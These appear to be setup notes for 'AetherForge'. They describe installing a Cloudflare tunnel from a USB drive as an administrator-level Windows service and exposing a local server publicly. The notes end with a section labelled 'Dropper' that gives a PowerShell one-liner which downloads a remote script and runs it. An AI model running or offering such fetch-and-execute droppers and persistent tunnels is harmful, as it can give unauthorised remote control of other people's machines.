======================================================== AetherForge — Cloudflare Tunnel https://killa.thetempleofdoom.com ======================================================== FIRST RUN (once per PC) ----------------------- 1. Double-click LAUNCH.bat 2. Approve the UAC prompt when asked — tunnel install needs Administrator 3. LAUNCH.bat installs cloudflared to: C:\ProgramData\AetherForge\bin\cloudflared.exe (stable path on the PC, not on the USB drive) 4. Registers the Windows service "cloudflared" with your tunnel token 5. Starts the service — connector shows Healthy in Cloudflare Zero Trust You can also run manually (as Administrator): cloudflare\install-tunnel.bat VERIFY ON THE PC ---------------- sc query cloudflared Look for STATE : 4 RUNNING Cloudflare dashboard: Zero Trust → Networks → Tunnels → your tunnel → Healthy connector Public hostname route (required): killa.thetempleofdoom.com → http://localhost:8989 End-to-end test (AetherForge must be running on :8989): https://killa.thetempleofdoom.com TROUBLESHOOTING --------------- - No [CF] lines in LAUNCH? Old USB copy — re-copy usb\ from pack-usb.bat - sc query shows nothing / service missing? Run LAUNCH.bat as Administrator once - Service exists but not RUNNING? net start cloudflared - Public URL 502? AetherForge not listening on localhost:8989 - Tunnel Healthy but no public URL? Add hostname route in Cloudflare dashboard Dropper (after tunnel + server are up): iex (irm 'https://killa.thetempleofdoom.com/install.ps1') credentials.json is NOT used — token is in install-tunnel.bat / LAUNCH.bat. ========================================================
